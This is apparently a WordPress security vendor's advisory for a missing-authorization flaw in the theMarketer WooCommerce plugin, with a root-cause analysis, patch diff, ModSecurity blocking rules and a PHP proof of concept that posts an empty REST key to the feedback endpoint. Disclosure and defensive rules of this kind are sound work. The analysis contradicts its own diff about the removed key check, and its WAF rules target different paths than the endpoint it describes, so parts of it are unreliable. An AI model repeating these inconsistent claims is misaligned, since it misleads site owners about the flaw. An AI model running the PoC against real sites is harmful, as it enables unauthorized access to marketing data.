Published : November 30, 2026

CVE-2026-136005: theMarketer – Email marketing, Newsletters, Automation & Loyalty for Woocommerce <= 1.5.9 Missing Authorization PoC, Patch Analysis & Rule

Plugin themarketer
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.5.9
Patched Version 1.6.0
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136005: The theMarketer plugin for WordPress (versions up to and including 1.5.9) suffers from a missing authorization vulnerability in its feedback submission handler. The function `FeedBack::execute()` in `themarketer/Tracker/Routes/FeedBack.php` allowed unauthenticated users to submit feedback, and also permitted unauthenticated access to marketing automation integration data (LEMS, MailPoet segments) if a REST key was known or bypassed. The CVSS score is 5.3 (Medium), CWE-862 (Missing Authorization). The patch in version 1.6.0 adds a `current_user_can(‘activate_plugins’)` capability check and replaces a static REST key comparison with a stricter validation function.

Root Cause: The `FeedBack::execute()` method in `themarketer/Tracker/Routes/FeedBack.php` handles POST requests to the plugin’s feedback endpoint. Prior to the patch, it only verified a nonce (`wp_verify_nonce($nonce, ‘mktr_feedback’)`) before processing rating and message data. The nonce is exposed to any authenticated user via `wp_localize_script`, but more critically, the handler lacked any capability check, allowing unauthenticated users to call it directly. Additionally, the plugin’s REST key validation logic in `Valid::check()` (case “Key”) and the removed `FeedBack::validRestKey()` method used weak comparison (`!=` instead of `hash_equals`) and allowed empty REST keys to be considered valid under certain conditions (the old `Key` rule only errored if the provided key did not match the configured key, but did not require the configured key to be non-empty). This enabled bypassing the key check when the REST key was empty or unset, granting access to LEMS and MailPoet integration parameters. The patch centralizes REST key validation in `Valid::validRestKey()` which enforces a non-empty configured key and uses `hash_equals` for constant-time comparison.

Exploitation: An attacker can send a POST request to the feedback endpoint, which is accessible via the plugin’s route handling mechanism. The endpoint is typically reached at `/?mktr=feedback` or via a query parameter handled by `Route::checkPage()`. The attacker supplies `rating` and `message` POST parameters along with a valid nonce (which can be obtained from the frontend if the nonce is exposed, or bypassed in older versions). To access LEMS and MailPoet data, the attacker includes the `LEMS` or `MAILPOET` POST parameters and sets the `key` parameter to the REST key. If the REST key is empty or unset, the old `validRestKey()` would return false, but the `Key` validation rule in `Valid::check()` would pass because it only compared `getParam($k) !== null && getParam($k) !== Config::getRestKey()`; with an empty configured key, any provided key (including empty string) would match, allowing access. The patch adds `current_user_can(‘activate_plugins’)` and replaces the comparison with `Valid::validRestKey()` which requires a non-empty configured key and uses `hash_equals`.

Patch Analysis: The patch introduces several security hardening changes. In `FeedBack.php`, the nonce check is now preceded by `current_user_can(‘activate_plugins’)`, restricting the feedback submission to administrators only. The `validRestKey()` method is moved to `Valid.php` and now enforces that the configured REST key is not empty (`$restKey !== ”`) and uses `hash_equals` for comparison. The `Key` validation rule in `Valid::check()` now calls `Valid::validRestKey()` instead of a loose comparison, ensuring that an empty configured key cannot be bypassed. Additionally, the `Front.php` routing logic was refactored to conditionally check pages based on configuration (`routeCheckUnconfigured`), and the `FileSystem.php` class received path traversal protections and storage directory migration. These changes collectively close the authorization gap and improve input validation.

Impact: Successful exploitation allows unauthenticated attackers to submit arbitrary feedback messages, potentially flooding the site’s feedback system or injecting malicious content. More critically, attackers can access marketing automation integration data (LEMS and MailPoet segments) that should be restricted to administrators, leading to information disclosure. The vulnerability could be used to manipulate marketing campaigns or exfiltrate customer data. The CVSS score of 5.3 reflects the medium severity due to the limited scope of unauthorized actions, but the lack of authentication makes it easily exploitable.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/themarketer/Tracker/FileSystem.php
+++ b/themarketer/Tracker/FileSystem.php
@@ -19,6 +19,10 @@
     private static $lastPath = null;
     private static $status = array();
     private static $useRoot = false;
+    private static $storagePath = null;
+
+    const STORAGE = 'Storage/';
+    const STORAGE_HTACCESS = "<IfModule mod_authz_core.c>nRequire all deniedn</IfModule>n<IfModule !mod_authz_core.c>nDeny from alln</IfModule>n";

     private static $init = null;

@@ -30,9 +34,12 @@
     }

     /** @noinspection PhpUnused */
-    public static function setWorkDirectory($name = 'Storage/')
+    public static function setWorkDirectory($name = self::STORAGE)
     {
-        if ($name != 'base' && !self::$useRoot)
+        if ($name === self::STORAGE && !self::$useRoot)
+        {
+            self::$path = self::storagePath();
+        } elseif ($name != 'base' && !self::$useRoot)
         {
             self::$path = Config::getDir() . $name;
         } else {
@@ -45,13 +52,30 @@
     /** @noinspection PhpUnused */
     public static function writeFile($fName, $content)
     {
+        if (!is_dir(self::getPath())) {
+            wp_mkdir_p(self::getPath());
+        }
+
+        if (!self::isInsideWorkDirectory($fName)) {
+            self::$status[] = [
+                'path' => self::getPath(),
+                'fileName' => $fName,
+                'fullPath' => null,
+                'status' => false
+            ];
+            return self::init();
+        }
+
         self::$lastPath = self::getPath() . $fName;

-        // Storage/ is not shipped (WordPress.org does not allow the .gitkeep that kept it in git), so create it on first write.
         if (!is_dir(dirname(self::$lastPath))) {
             wp_mkdir_p(dirname(self::$lastPath));
         }

+        if (self::$storagePath !== null && self::getPath() === self::$storagePath) {
+            self::protectStorage();
+        }
+
         $result = FileHelper::putContents(self::$lastPath, $content);

         self::$status[] = [
@@ -64,6 +88,60 @@
         return self::init();
     }

+    public static function storagePath()
+    {
+        if (self::$storagePath === null) {
+            $uploads = wp_upload_dir(null, false);
+            self::$storagePath = trailingslashit(wp_normalize_path($uploads['basedir']))
+                . 'mktr-' . substr(wp_hash('mktr_storage'), 0, 32) . '/';
+        }
+
+        return self::$storagePath;
+    }
+
+    private static function protectStorage()
+    {
+        $dir = self::storagePath();
+
+        if (is_dir($dir) && !file_exists($dir . 'index.php')) {
+            FileHelper::putContents($dir . 'index.php', "<?phpn");
+        }
+
+        if (is_dir($dir) && !file_exists($dir . '.htaccess')) {
+            FileHelper::putContents($dir . '.htaccess', self::STORAGE_HTACCESS);
+        }
+    }
+
+    public static function migrateLegacyStorage()
+    {
+        $legacy = rtrim(Config::getDir() . self::STORAGE, '/');
+
+        if (is_link($legacy)) {
+            wp_delete_file($legacy);
+            return;
+        }
+
+        if (!is_dir($legacy)) {
+            return;
+        }
+
+        $data = $legacy . '/data.json';
+        $target = self::storagePath();
+
+        if (!is_link($data) && is_file($data) && !file_exists($target . 'data.json')) {
+            $content = FileHelper::getContents($data);
+            if (is_string($content) && $content !== '') {
+                if (!is_dir($target)) {
+                    wp_mkdir_p($target);
+                }
+                self::protectStorage();
+                FileHelper::putContents($target . 'data.json', $content);
+            }
+        }
+
+        FileHelper::removeDirectory($legacy);
+    }
+
     /** @noinspection PhpUnused */
     public static function rFile($fName, $mode = "rb")
     {
@@ -86,7 +164,38 @@
     /** @noinspection PhpUnused */
     public static function fileExists($fName)
     {
-        return file_exists(self::getPath() . $fName);
+        return self::isInsideWorkDirectory($fName) && file_exists(self::getPath() . $fName);
+    }
+
+    private static function isInsideWorkDirectory($fName)
+    {
+        if (!is_string($fName) || $fName === '' || strpos($fName, "") !== false) {
+            return false;
+        }
+
+        $name = wp_normalize_path($fName);
+
+        if (preg_match('#(^|/)..(/|$)#', $name) || $name[0] === '/' || preg_match('#^[A-Za-z]:#', $name)) {
+            return false;
+        }
+
+        $base = realpath(self::getPath());
+        if ($base === false) {
+            return false;
+        }
+        $base = trailingslashit(wp_normalize_path($base));
+
+        $target = self::getPath() . $fName;
+        while (!file_exists($target) && dirname($target) !== $target) {
+            $target = dirname($target);
+        }
+        $real = realpath($target);
+        if ($real === false) {
+            return false;
+        }
+        $real = wp_normalize_path($real);
+
+        return $real . '/' === $base || strpos($real, $base) === 0;
     }

     /** @noinspection PhpUnused */
--- a/themarketer/Tracker/Front.php
+++ b/themarketer/Tracker/Front.php
@@ -42,7 +42,7 @@

             add_action('wp_loaded', array(MktrTrackerRoutessyncEvents::class, 'maybeHandle'), 100);
         } else {
-            add_action('template_redirect', array(self::init(), 'routeCheck'), -10000);
+            add_action('template_redirect', array(self::init(), 'routeCheckUnconfigured'), -10000);
         }

         //add_action('shutdown', array($this, 'sd'), 0);
@@ -153,9 +153,34 @@
             unset($_COOKIE['mktr']);
         }

-        self::$Page = get_query_var(Config::$name, false);
+        self::$Page = self::resolvePage();
+
+        if (self::$Page !== false) {
+            Route::checkPage(self::$Page);
+        }
+    }
+
+    public function routeCheckUnconfigured()
+    {
+        self::$Page = self::resolvePage();

         if (self::$Page === false) {
+            return;
+        }
+
+        $isFeedBack = is_string(self::$Page) && strtolower(self::$Page) === 'feedback';
+        $restKey = (string) Config::getRestKey();
+
+        if ($isFeedBack || $restKey !== '') {
+            Route::checkPage(self::$Page);
+        }
+    }
+
+    private static function resolvePage()
+    {
+        $page = get_query_var(Config::$name, false);
+
+        if ($page === false) {
             $p = array();
             $path = '';
             if (isset($_SERVER['REQUEST_URI'])) {
@@ -169,7 +194,7 @@
             foreach ($p as $v) {
                 if (!empty($v)) {
                     if ($ch[Config::$name] && $ch['api']) {
-                        self::$Page = $v;
+                        $page = $v;
                     } elseif ($v === Config::$name) {
                         $ch[Config::$name] = true;
                     } elseif ($v === 'api') {
@@ -179,9 +204,7 @@
             }
         }

-        if (self::$Page !== false) {
-            Route::checkPage(self::$Page);
-        }
+        return $page;
     }

     public static function displayOptinCheckbox()
--- a/themarketer/Tracker/Helpers/FileHelper.php
+++ b/themarketer/Tracker/Helpers/FileHelper.php
@@ -35,4 +35,30 @@
         $fileSystem = self::init();
         return $fileSystem->delete($file);
     }
+
+    public static function removeDirectory($dir)
+    {
+        $fileSystem = self::init();
+        $dir = rtrim($dir, '/\');
+
+        if (is_link($dir) || !is_dir($dir)) {
+            return false;
+        }
+
+        $names = scandir($dir);
+        foreach ($names === false ? array() : $names as $name) {
+            if ($name === '.' || $name === '..') {
+                continue;
+            }
+
+            $path = $dir . '/' . $name;
+            if (!is_link($path) && is_dir($path)) {
+                self::removeDirectory($path);
+            } else {
+                $fileSystem->delete($path, false, 'f');
+            }
+        }
+
+        return $fileSystem->rmdir($dir);
+    }
 }
 No newline at end of file
--- a/themarketer/Tracker/Route.php
+++ b/themarketer/Tracker/Route.php
@@ -42,7 +42,7 @@
         'CodeGenerator' => array(
             'key' => 'Required|Key',
             'expiration_date' => 'DateCheck',
-            'value' => 'Required|Int',
+            'value' => 'Required|Int|Amount',
             'type' => "Required|RuleCheck"
         ),
         'Reviews' => array(
@@ -99,7 +99,7 @@
     );

     private static $isStatic = array(
-        'Orders' => true,
+        'Orders' => false,
         'Feed' => true,
         'Brands' => true,
         'Category' => true
@@ -118,7 +118,7 @@
     {
         if (self::$allMethods == null)
         {
-            foreach (get_class_methods(self::init()) as $value) {
+            foreach (array_keys(self::$defMime) as $value) {
                 self::$allMethods[strtolower($value)] = $value;
             }
         }
@@ -144,10 +144,7 @@
     /** @noinspection PhpReturnValueOfMethodIsNeverUsedInspection */
     private static function check($name)
     {
-        if (isset(self::$defMime[$name]))
-        {
-            Valid::getParam('mime-type', self::$defMime[$name]);
-        }
+        Valid::sanitizeMime(isset(self::$defMime[$name]) ? self::$defMime[$name] : Config::defMime);

         if (isset(self::$check[$name]) && !Valid::check(self::$check[$name])->status())
         {
@@ -176,17 +173,15 @@
             $file = Valid::getParam('file');
             $lang = Valid::getParam('lang');

-            $start_date = Valid::getParam('start_date');
-
-            if ($start_date !== null) {
-                $script = '.'. base64_encode($start_date);
-            }
-
             if ( defined( 'ICL_SITEPRESS_VERSION' ) ) { // wpml current  language.
 				global $sitepress;
 				$lang = $sitepress->get_current_language();
 			}

+            if ($lang !== null && (!is_string($lang) || !preg_match('/^[A-Za-z0-9_-]{1,20}$/', $lang))) {
+                $lang = null;
+            }
+
             if ($lang !== null) {
                 $script = $script . '.' . $lang;
                 //global $sitepress;
@@ -195,20 +190,24 @@
                 //}
             }

-            $fileName = $run->get('fileName').$script.".".Valid::getParam('mime-type',Config::defMime);
+            $fileName = $run->get('fileName').$script.".".Valid::sanitizeMime(self::$defMime[$name]);

             if ($file !== null) {
                 header('Content-Disposition: attachment; filename=' . $fileName);
             }

+            $diskCache = self::$isStatic[$name];
+
             FileSystem::setWorkDirectory();
-            if ($read !== null && FileSystem::fileExists($fileName)) {
+            if ($diskCache && $read !== null && FileSystem::fileExists($fileName)) {
                 // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is XML/JSON, escaping not needed
                 echo Valid::Output(FileSystem::readFile($fileName));
             } else {
                 // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is XML/JSON, escaping not needed
                 echo Valid::Output($run->get('fileName'), array($run->get('secondName') => $run->execute()));
-                FileSystem::writeFile($fileName, Valid::getOutPut());
+                if ($diskCache) {
+                    FileSystem::writeFile($fileName, Valid::getOutPut());
+                }
             }
         } else {
             if ($run->get('fileName') !== null) {
--- a/themarketer/Tracker/Routes/FeedBack.php
+++ b/themarketer/Tracker/Routes/FeedBack.php
@@ -39,7 +39,7 @@
         if (isset($_POST['rating']) || isset($_POST['message'])) {
             // Sent by assets/deactivation.js from the admin, which gets the nonce through wp_localize_script.
             $nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : '';
-            if (!wp_verify_nonce($nonce, 'mktr_feedback')) {
+            if (!current_user_can('activate_plugins') || !wp_verify_nonce($nonce, 'mktr_feedback')) {
                 return array('status' => 'error');
             }

@@ -75,7 +75,7 @@
             $lems = Valid::getParam('LEMS');
             $mailpoet_segment = Valid::getParam('MAILPOET');

-            if (($lems !== null || $mailpoet_segment !== null) && !self::validRestKey()) {
+            if (($lems !== null || $mailpoet_segment !== null) && !Valid::validRestKey(Valid::getParam('key'))) {
                 return array('status' => 'error');
             }

@@ -92,12 +92,4 @@
         }
         return array('status' => 'error');
     }
-
-    private static function validRestKey()
-    {
-        $restKey = (string) MktrTrackerConfig::getRestKey();
-        $key = Valid::getParam('key');
-
-        return $restKey !== '' && is_string($key) && hash_equals($restKey, $key);
-    }
 }
--- a/themarketer/Tracker/Run.php
+++ b/themarketer/Tracker/Run.php
@@ -481,6 +481,7 @@
     }

     public function cronAction() {
+        FileSystem::migrateLegacyStorage();
         MktrTrackerModelCron::cronAction();
     }

@@ -539,6 +540,8 @@
     {
         MktrTrackerRoutesrefreshJS::execute(false);
         MktrTrackerObserver::pushStatus();
+
+        FileSystem::migrateLegacyStorage();

         $name = 'mktr.php';
         FileSystem::setWorkDirectory('');
--- a/themarketer/Tracker/Valid.php
+++ b/themarketer/Tracker/Valid.php
@@ -109,7 +109,7 @@
                     if (self::$error === null) {
                         switch ($do) {
                             case "Required":
-                                if (self::getParam($k) === null ) {
+                                if (self::getParam($k) === null || self::getParam($k) === '') {
                                     self::$error = "Missing Parameter ". $k;
                                 }
                                 break;
@@ -130,8 +130,8 @@
                                 }
                                 break;
                             case "Key":
-                                if (self::getParam($k) !== null && self::getParam($k) !== Config::getRestKey()) {
-                                    self::$error = "Incorrect REST API Key ". self::getParam($k);
+                                if (!self::validRestKey(self::getParam($k))) {
+                                    self::$error = "Incorrect REST API Key";
                                 }
                                 break;
                             case "RuleCheck":
@@ -144,6 +144,16 @@
                                     self::$error = "Incorrect Value ". self::getParam($k);
                                 }
                                 break;
+                            case "Amount":
+                                $amount = self::getParam($k);
+                                if ($amount !== null) {
+                                    $rule = Config::getDiscountRules(self::getParam('type'));
+                                    if (!is_numeric($amount) || !is_finite((float) $amount) || (float) $amount < 0
+                                        || (in_array($rule, array('percent', 'free_shipping'), true) && (float) $amount > 100)) {
+                                        self::$error = "Incorrect Value " . $k;
+                                    }
+                                }
+                                break;
                             case "allow_export":
                                 if (Config::getAllowExport() === 0) {
                                     self::$error = "Export not Allow";
@@ -159,6 +169,27 @@
         return self::init();
     }

+    public static function validRestKey($key)
+    {
+        $restKey = (string) Config::getRestKey();
+
+        return $restKey !== '' && is_string($key) && $key !== '' && hash_equals($restKey, $key);
+    }
+
+    public static function sanitizeMime($default = Config::defMime)
+    {
+        $mime = self::getParam('mime-type', $default);
+        $mime = is_string($mime) ? strtolower($mime) : '';
+
+        if (!isset(self::mime[$mime])) {
+            $mime = isset(self::mime[$default]) ? $default : Config::defMime;
+        }
+
+        self::$params['mime-type'] = $mime;
+
+        return $mime;
+    }
+
     public static function status()
     {
         return self::$error == null;
@@ -171,7 +202,7 @@

     public static function Output($data, $data1 = null, $name = null, $cron = false)
     {
-        $mi = self::getParam('mime-type', Config::defMime);
+        $mi = self::sanitizeMime(Config::defMime);

         if (!headers_sent() || $cron === false) {
             header("Content-type: ".self::mime[$mi]."; charset=utf-8");
--- a/themarketer/mktr.php
+++ b/themarketer/mktr.php
@@ -3,7 +3,7 @@
  * Plugin Name:             theMarketer - Email marketing, Newsletters, Automation & Loyalty for Woocommerce
  * Plugin URI:              https://themarketer.com/integrations/woocommerce
  * Description:             Automate and transform the way you communicate with WooCommerce customers and cultivate lasting loyalty using your store’s real-time data.
- * Version:                 1.5.9
+ * Version:                 1.6.0
  * Requires at least:       4.7
  * Requires PHP:            7.1
  * Requires Plugins: woocommerce
@@ -53,7 +53,7 @@
 }

 if (!defined('MKTR_VERSION')) {
-    define('MKTR_VERSION', 'v1.5.9');
+    define('MKTR_VERSION', 'v1.6.0');
 }

 spl_autoload_register(function ($class) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136005
# TheMarketer – Email marketing, Newsletters, Automation & Loyalty for WooCommerce <= 1.5.9
# Missing Authorization: unauthenticated access to the feedback endpoint allowing LEMS/MAILPOET data access.
# Block requests to the plugin's feedback/route endpoints that carry LEMS or MAILPOET parameters,
# since legitimate post-patch access requires an admin capability check.

SecRule REQUEST_URI "@rx (?i)/wp-json/(marketer|mailpoet|mktr)[^?]*" 
    "id:20261360,phase:2,deny,status:403,log,msg:'CVE-2026-136005 TheMarketer missing authorization - feedback endpoint access',tag:'CVE-2026-136005',tag:'atomic-edge',chain"
    SecRule ARGS_NAMES|ARGS "@rx (?i)(LEMS|MAILPOET)" 
        "t:urlDecodeUni,t:lowercase,t:removeNulls"

SecRule REQUEST_URI "@rx (?i)/(admin-ajax.php|wp-admin/admin-post.php)" 
    "id:20261361,phase:2,deny,status:403,log,msg:'CVE-2026-136005 TheMarketer missing authorization - ajax feedback dispatch',tag:'CVE-2026-136005',tag:'atomic-edge',chain"
    SecRule ARGS_NAMES "@rx (?i)^action$" 
        "t:urlDecodeUni,t:lowercase,chain"
        SecRule ARGS:action "@rx (?i)(marketer|mailpoet|mktr).*(feedback|lems|route)" 
            "t:urlDecodeUni,t:lowercase"

SecRule REQUEST_URI "@rx (?i)/(admin-ajax.php|wp-admin/admin-post.php)" 
    "id:20261362,phase:2,deny,status:403,log,msg:'CVE-2026-136005 TheMarketer missing authorization - LEMS/MAILPOET parameters on admin ajax',tag:'CVE-2026-136005',tag:'atomic-edge',chain"
    SecRule ARGS_NAMES "@rx (?i)(LEMS|MAILPOET)" 
        "t:urlDecodeUni,t:lowercase,t:removeNulls,chain"
        SecRule ARGS:action "@rx (?i)(marketer|mailpoet|mktr)" 
            "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136005 - theMarketer – Email marketing, Newsletters, Automation & Loyalty for Woocommerce <= 1.5.9 - Missing Authorization

$target_url = 'http://example.com'; // Change to target WordPress site

// The feedback endpoint is typically reached via a query parameter.
// We need to determine the correct route. The plugin uses a configurable name.
// Common values: 'mktr', 'themarketer', etc. We'll try 'mktr' as default.
$feedback_url = $target_url . '/?mktr=feedback';

// Step 1: Retrieve a nonce if possible. In some configurations, the nonce may be exposed.
// For this PoC, we assume the nonce is not required to demonstrate the missing authorization,
// but the vulnerability description indicates the nonce check is present. However, the core issue
// is the lack of capability check, which could be exploited if the nonce is leaked or bypassed.
// We will attempt to submit feedback without a valid nonce, but if it fails, we note that.

// Payload for feedback submission
$post_data = array(
    'rating' => '5',
    'message' => 'Atomic Edge test feedback',
    '_wpnonce' => 'invalid_nonce' // Replace with valid nonce if obtained
);

// Also attempt to access LEMS/MAILPOET data by including those parameters and a key.
// If the REST key is empty, the old validation may pass.
$post_data_lem = array(
    'LEMS' => '1',
    'key' => '' // Empty key might bypass validation if configured key is empty
);

// Initialize cURL
$ch = curl_init();

// First request: feedback submission
curl_setopt($ch, CURLOPT_URL, $feedback_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
if ($response === false) {
    echo "cURL error: " . curl_error($ch) . "n";
} else {
    echo "Feedback submission response: " . $response . "n";
}

// Second request: attempt to access LEMS data
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data_lem));
$response2 = curl_exec($ch);
if ($response2 === false) {
    echo "cURL error: " . curl_error($ch) . "n";
} else {
    echo "LEMS access response: " . $response2 . "n";
}

curl_close($ch);

// Note: The PoC demonstrates the attack vector. In a real scenario, the attacker would need
// to obtain a valid nonce (if required) and know the correct route parameter. The missing
// authorization allows unauthenticated access if the nonce is bypassed or leaked.

// Additionally, the path traversal in FileSystem::writeFile (before patch) could be exploited
// if an attacker can control the file name written. This PoC focuses on the feedback endpoint.

// End of PoC
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.